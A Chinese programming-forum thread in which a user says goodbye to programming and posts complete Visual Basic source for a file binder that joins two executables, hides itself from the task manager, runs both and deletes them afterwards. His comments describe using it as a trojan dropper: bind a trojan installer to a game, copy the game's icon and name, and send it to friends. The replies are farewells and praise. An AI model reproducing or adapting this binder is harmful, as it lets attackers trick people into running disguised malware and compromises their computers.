告别程序员的生涯

[lights]

我的职业程序员生涯已经结束了！为期一年！可以说以惨败告终！
我不屑作企业数据库！可VB似乎一无是处！
幸运的我终于用vb作起了电脑游戏！
任性的我对无能合作人忍无可忍！
无用的我发现家庭条件日趋直下！
回到家又不忍心再离开！

作为程序员，我的生命已经完结，
只能留下"绝笔"

lights
[e-mail]
qq:1905202

[lights]

'VB也疯狂，自己生成自己，病毒？
'病毒是在程序中加入额外的代码来完成自己的使命。
'这个程序是在程序中加入额外的程序。
'如果你想给你的朋友发个大木马程序......
'如果你想把什么驻留在你朋友的电脑里......
'如果你怕你的朋友玩怀了眼睛，想提前帮他关机......
'木马我不提供、安装木马的程序我不提供。
'提供给你源代码，其实修改一下就是很好的木马安装程序。
'假设你把这个程序编译成dan.exe
'这个程序的使用方法 如：DAN pro1.exe ie.exe
'就会生成一个 dan_2.exe
'运行dan_2.exe就会依次运行pro1.exe和ie.exe,但你不再需要这两个文件。
'实例: DAN hehehe.exe game.exe
'hehehe.exe 是你的木马安装程序
'game.exe 是游戏或是安装程序
'再把dan_2.exe 换上game.exe 的图标，改名成 game.exe
'发给你的朋友，呵呵......纯属例子，请勿模仿。
'支持监测自身是否染毒的程序，以及一切运行程序。
'不支持监测自身是否改名的程序（有这么变态的程序么？）
'切记只能编译成运行程序使用，且勿调试。（如果你有好的调试方法，感激涕淋）

'dangerous.bas 无窗口程序。

'全都是为shell32bit准备
Private Declare Function OpenProcess Lib "Kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function GetExitCodeProcess Lib "Kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Sub Sleep Lib "Kernel32" (ByVal dwMilliseconds As Long)

Sub Shell32Bit(ByVal JobToDo As String) '运行一个程序直到它结束
Dim hProcess As Long
Dim RetVal As Long
hProcess = OpenProcess(&H400, False, Shell(JobToDo, 1))
Do
GetExitCodeProcess hProcess, RetVal
DoEvents: Sleep 100
Loop While RetVal = &H103
End Sub
Sub Main()
On Error Resume Next
Dim tCom As String
Dim tTag As Long
Dim Add1 As Long
Dim long1 As Long
Dim Add2 As Long
Dim long2 As Long
tTag = &H76543210 '古怪的几乎不可能出现在文件结尾的值，来判断是否连接过
Dim n As Long
Dim pict() As Byte

App.TaskVisible = False '不显示在任务管理器
ddd = App.Path
If Right(ddd, 1) <> "\" Then ddd = ddd & "\"
tCom = Command()
file1 = PickWord(tCom) '命令行输入的第一个参数
file2 = PickWord(tCom) '命令行输入的第二个参数
tfile = ddd & App.EXEName & ".exe"
tfile2 = ddd & App.EXEName & "_2" & ".exe"
FileCopy tfile, tfile2 '复制一个临时的文件

code = FreeFile(1)
Open tfile2 For Binary As code

Seek code, FileLen(tfile2) - 19 '读出最后20个字节纪录的信息
Get code, , Add1 '文件一地址
Get code, , long1 '文件一尺寸
Get code, , Add2 '文件二地址
Get code, , long2 '文件二尺寸
Get code, , n '是否处理过的标志
If n = tTag Then '如果是一个处理过的文件
'解开执行
file1 = ddd & App.EXEName & "_2a" & ".exe"
file2 = ddd & App.EXEName & "_2b" & ".exe"
'生成文件1
ReDim pict(long1 - 1)
Seek code, Add1
Get code, , pict
code2 = FreeFile(1)
Open file1 For Binary As code2
Put code2, , pict
Close code2
Shell32Bit file1 '执行文件1
Kill file1 '删除文件1
'生成文件2
ReDim pict(long2 - 1)
Seek code, Add2
Get code, , pict
code2 = FreeFile(1)
Open file2 For Binary As code2
Put code2, , pict
Close code2
Shell32Bit file2 '执行文件2
Kill file2 '删除文件2

Else
'合并文件
'并入文件1
Seek code, 1 + FileLen(tfile2)
code2 = FreeFile(1)
Open file1 For Binary As code2
ReDim pict(FileLen(file1) - 1)
Get code2, , pict
Put code, , pict
Close code2
If Err.Number <> 0 Then GoTo errNofile
Err.Clear
'并入文件2
Seek code, 1 + FileLen(tfile2) + FileLen(file1)
code2 = FreeFile(1)
Open file2 For Binary As code2
ReDim pict(FileLen(file2) - 1)
Get code2, , pict
Put code, , pict
Close code2
If Err.Number <> 0 Then GoTo errNofile
Err.Clear
'计录状态
Seek code, 1 + FileLen(tfile2) + FileLen(file1) + FileLen(file2)
Add1 = 1 + FileLen(tfile2)
long1 = FileLen(file1)
Add2 = 1 + FileLen(tfile2) + FileLen(file1)
long2 = FileLen(file2)
Put code, , Add1
Put code, , long1
Put code, , Add2
Put code, , long2
Put code, , tTag
End If

Close code

If n = tTag Then Kill tfile2 '执行完毕删除临时文件
End

errNofile: '缺少连接文件
Close code '关闭临时文件
Kill tfile2 '删除临时文件
MsgBox " 找不到文件。" & Chr(13) _
& Chr(13) _
& " 使用方法：" & Chr(13) _
& "APPname File1name File2name " & Chr(13) _
& " APPname: 本程序文件名" & Chr(13) _
& "File1name: 连接的第一个文件" & Chr(13) _
& "File2name: 连接的第二个文件" _
, vbOKOnly, "错误"
End

End Sub
Public Function PickWord(strs As String) As String '挨个取出字符串中的单词
For a = 1 To Len(strs)
If Mid(strs, a, 1) <> " " Then ss = a: GoTo 100
Next a
PickWord = "": Exit Function
100
For a = ss To Len(strs)
If Mid(strs, a, 1) = " " Then ee = a: GoTo 200
Next a
ee = a
200
PickWord = Mid(strs, ss, ee - ss)
strs = Mid(strs, ee + 1)
End Function

• 打赏
• 举报

回复 赞

[lights]

也许那天会再回来也说不定！
毕竟和程序有着不解之缘！

• 打赏
• 举报

回复 赞

[suntingting]

欢迎你回来

• 打赏
• 举报

回复 赞

[luoming]

哈哈,是个好东东,兄弟我支持你

• 打赏
• 举报

回复 赞

[ByTheWay]

高手、高手，佩服、佩服

• 打赏
• 举报

回复 赞

[soec]

我能叫你一声“大侠”吗！？

• 打赏
• 举报

回复 赞

[alinker]

离开以后才发现你是多么热爱这职业，
只有面对那违背数学逻辑（i = i + 1 之流）的天书是多么惬意的事
只有面对那......
不说了，你快回来！

• 打赏
• 举报

回复 赞

[uguess]

真的要走么？

• 打赏
• 举报

回复 赞

[lights]

谢谢各位了！为了生活！梦想不能吃的！我有空和有钱时会再出现的！

• 打赏
• 举报

回复 赞

[32572]

欢迎你再回来

• 打赏
• 举报

回复 赞

[ColderRain]

代码真有趣^_^

• 打赏
• 举报

回复 赞

[Wesely]

不只是代码，是梦。

• 打赏
• 举报

回复 赞

[dsclub]

前路谁人不识君。
再会！

• 打赏
• 举报

回复 赞

[lty]

要害是‘不屑’！！！

• 打赏
• 举报

回复 赞